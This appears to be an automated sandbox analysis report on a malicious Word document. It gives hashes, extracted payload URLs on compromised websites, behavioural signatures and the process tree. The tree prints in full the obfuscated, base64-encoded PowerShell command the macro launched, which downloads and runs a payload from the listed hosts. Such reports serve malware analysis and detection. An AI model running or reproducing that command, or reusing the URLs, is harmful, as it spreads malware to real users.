Analysis
-
max time kernel
161s -
max time network
174s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2022 09:10
Behavioral task
behavioral1
Sample
601804d1434691765b258649f0a9c8924bb1b28b5ff0dc2bafb3039b2c78f6a3.doc
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
601804d1434691765b258649f0a9c8924bb1b28b5ff0dc2bafb3039b2c78f6a3.doc
Resource
win10v2004-20220812-en
General
-
Target
601804d1434691765b258649f0a9c8924bb1b28b5ff0dc2bafb3039b2c78f6a3.doc
-
Size
187KB
-
MD5
fd0c0ac454f459acc1cd124fd097740a
-
SHA1
741cb7d37dbb4ca805174a194dbf9eb4f51ad727
-
SHA256
601804d1434691765b258649f0a9c8924bb1b28b5ff0dc2bafb3039b2c78f6a3
-
SHA512
3322095ab7ac72b5de7a531ef85637892fe1f7cf62c65f1179d7abb7d38070c06e0e14236e6db0093ba4662f84d936e232a17ebe4bb2d11ba57b84ca0d3983c2
-
SSDEEP
3072:w77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qgKFCS0JKoVqP4dLQitFzhgDhCR:w77HUUUUUUUUUUUUUUUUUUUT52VNS0J5
Malware Config
Extracted
http://ingenla.com/wp-content/XA_fj/
http://ises.com.pl/wp-admin/n2_df/
http://hicast.tn/wp-includes/8_X/
https://jcci-card.vn/wp-includes/O_R8/
http://appcost.win/noerk24jt/m_c/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 392 1732 powershell.exe -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 37 392 powershell.exe 45 392 powershell.exe 52 392 powershell.exe 70 392 powershell.exe 72 392 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4028 WINWORD.EXE 4028 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 392 powershell.exe 392 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 392 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE 4028 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\601804d1434691765b258649f0a9c8924bb1b28b5ff0dc2bafb3039b2c78f6a3.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4028
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABPAFoAVQBrAEEAXwBvAGsAPQAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAJwBrACcALAAnAEcAQQBCACcALAAnAGYAMQAnACkAOwAkAG4AQwBDAEEARABVACAAPQAgACcANAAyADMAJwA7ACQAawAxAG8AVQBvAG8AQQA9ACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAnAFoAMQBrACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcAdwBRACcALAAnAF8AQQAnACkALAAnAEEAJwApADsAJABOAFgAQQBBAEEAQQBRAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABuAEMAQwBBAEQAVQArACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALgBlAHgAJwAsACcAZQAnACkAOwAkAFoAQQAxAGsAdwBBAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcAUQB3ACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGkAJwAsACcAawBBADEAJwApACwAJwBBACcAKQA7ACQAbQAxAEEAeABRAEEAQQA9ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBgAEUAdAAuAGAAVwBFAEIAYABjAGwAaQBFAE4AdAA7ACQAcABCAEIAawBrAFUAbwBRAD0AKAAiAHsANAA1AH0AewAyADQAfQB7ADIANQB9AHsAMwA4AH0AewAxADcAfQB7ADIAMwB9AHsAMwAxAH0AewAxADMAfQB7ADMANwB9AHsAMQAxAH0AewAzAH0AewA0ADQAfQB7ADEAOAB9AHsANAA5AH0AewAxADAAfQB7ADEAOQB9AHsANAAyAH0AewA0ADcAfQB7ADQAMAB9AHsANwB9AHsAMQA1AH0AewAyADAAfQB7ADMAMwB9AHsAMgA2AH0AewAyADEAfQB7ADQANgB9AHsAMQA0AH0AewA0AH0AewAzADYAfQB7ADIANwB9AHsAOQB9AHsAMwAyAH0AewA0ADMAfQB7ADEAfQB7ADMAOQB9AHsANAAxAH0AewA2AH0AewAxADYAfQB7ADEAMgB9AHsANAA4AH0AewA1ADAAfQB7ADgAfQB7ADIAOAB9AHsAMwAwAH0AewAwAH0AewA1AH0AewAyADIAfQB7ADIAOQB9AHsAMwA1AH0AewAyAH0AewAzADQAfQAiAC0AZgAgACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAGkAbgAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwAuAHcAJwAsACcAcwB0ACcAKQAsACcAYwBvACcAKQAsACcAcAAtACcALAAnAG0AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwAvACcALAAnAC4AcABsACcAKQAsACcAdAAnACwAJwAvACcALAAnAHUAZABlACcALAAnAC8AJwAsACcALwAnACwAJwBjAGEAcgAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBkAG0AaQAnACwAJwBuAC8AbgAnACkALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACcALgBjAG8AJwAsACcAbQAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAF8AUgA4ACcALAAnAC8ATwAnACkALAAnAC8AWAAnACwAJwAvAEAAaAAnACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwAvACcALAAnAHQAbgAnACwAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwAuACcALAAnAHQAJwAsACcAaABpAGMAYQBzACcAKQApACwAJwBzACcALAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcAbwBtAC8AJwAsACcAYQAnACwAJwAuAGMAJwApACwAJwAtACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwAyACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBfAGQAZgAnACwAJwAvACcAKQApACwAJwB3ACcALAAnAHMAJwAsACcAbgBvAGUAJwAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACcAbgAnACwAJwB3AHAALQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBlACcALAAnAGMAbwBuAHQAJwApACkALAAnAGkAbgBnACcALAAnAGUAbgAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBpAG4AYwAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAbAB1ACcALAAnAGQAZQAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBjAGMAJwAsACcAaQAtACcAKQAsACcALwBhAHAAJwAsACcAcgBrACcALAAnAHAAJwAsACcAdAAnACwAJwBkAC4AJwAsACcAcAAtACcALAAnAF8AYwAvACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAC8AJwAsACcANABqAHQAJwApACwAJwAyACcAKQAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAHQAcABzACcALAAnADoAJwApACwAJwAvACcALAAnAC8AagAnACkALAAoACIAewAzAH0AewAwAH0AewAxAH0AewA0AH0AewAyAH0AIgAtAGYAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBmAGoAJwAsACcALwBAACcAKQAsACcAaAB0AHQAJwAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACAAJwA6ACcALAAnAC8ALwBpACcALAAnAHMAZQBzACcAKQAsACcAQQBfACcALAAnAHAAJwApACwAJwBsACcALAAnAGkAbgBjACcALAAnAC8AJwAsACcAbAAnACwAJwBAAGgAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAdwAnACwAJwB2AG4ALwAnACkALAAnAHcAcAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwAvACcALAAnAHAAOgAnACwAJwBoAHQAdAAnACkALAAnAC8AJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBfAFgAJwAsACcALwA4ACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAHQAdAAnACwAJwBwADoAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBAAGgAdAAnACwAJwAvACcAKQAsACcAYQAnACwAJwB0AHAAOgAnACkALgAiAFMAcABgAEwASQB0ACIAKAAnAEAAJwApADsAJABvAFEAdwBrAGMARABBAD0AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwBQAG8AWAAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAVQBVAEMAJwAsACcAQwAnACkALAAnAG8AJwApADsAZgBvAHIAZQBhAGMAaAAoACQAdwBaAEIAVQBBAEEANAA0ACAAaQBuACAAJABwAEIAQgBrAGsAVQBvAFEAKQB7AHQAcgB5AHsAJABtADEAQQB4AFEAQQBBAC4AIgBkAE8AdwBOAGwATwBBAGAARABmAGAAaQBgAEwAZQAiACgAJAB3AFoAQgBVAEEAQQA0ADQALAAgACQATgBYAEEAQQBBAEEAUQApADsAJABJAEEAXwBDAEEAWABvAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAFEAdwAnACwAJwBjAG8AJwApACwAJwBaAEIAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AWABBAEEAQQBBAFEAKQAuACIATABgAGUAbgBHAHQASAAiACAALQBnAGUAIAAyADYAOAA2ADAAKQAgAHsAJgAoACcASQBuACcAKwAnAHYAbwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAgACQATgBYAEEAQQBBAEEAUQA7ACQAVQBBAFgAYwB4AEIAPQAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAgACcAUAAnACwAJwBBAEEAVQAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBBACcALAAnAEQARwBDACcAKQApADsAYgByAGUAYQBrADsAJABSADQARABDAGsAXwBjAEEAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAFgAYwBEACcALAAnAHcAJwApACwAJwBVAEIARAAnACwAJwBpACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAagBBADEAMQBvAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAJwA0ACcALAAnAEcAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAWAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnADQAVQAnACwAJwA0AGsAeAAnACkAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:392
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/392-140-0x00000252C04C0000-0x00000252C04E2000-memory.dmpFilesize
136KB
-
memory/392-144-0x00007FFE747F0000-0x00007FFE752B1000-memory.dmpFilesize
10.8MB
-
memory/392-142-0x00007FFE747F0000-0x00007FFE752B1000-memory.dmpFilesize
10.8MB
-
memory/392-141-0x00007FFE747F0000-0x00007FFE752B1000-memory.dmpFilesize
10.8MB
-
memory/4028-136-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-137-0x00007FFE5D230000-0x00007FFE5D240000-memory.dmpFilesize
64KB
-
memory/4028-138-0x00007FFE5D230000-0x00007FFE5D240000-memory.dmpFilesize
64KB
-
memory/4028-139-0x000001D3F7050000-0x000001D3F7054000-memory.dmpFilesize
16KB
-
memory/4028-132-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-135-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-134-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-133-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-145-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-146-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-147-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB
-
memory/4028-148-0x00007FFE5F790000-0x00007FFE5F7A0000-memory.dmpFilesize
64KB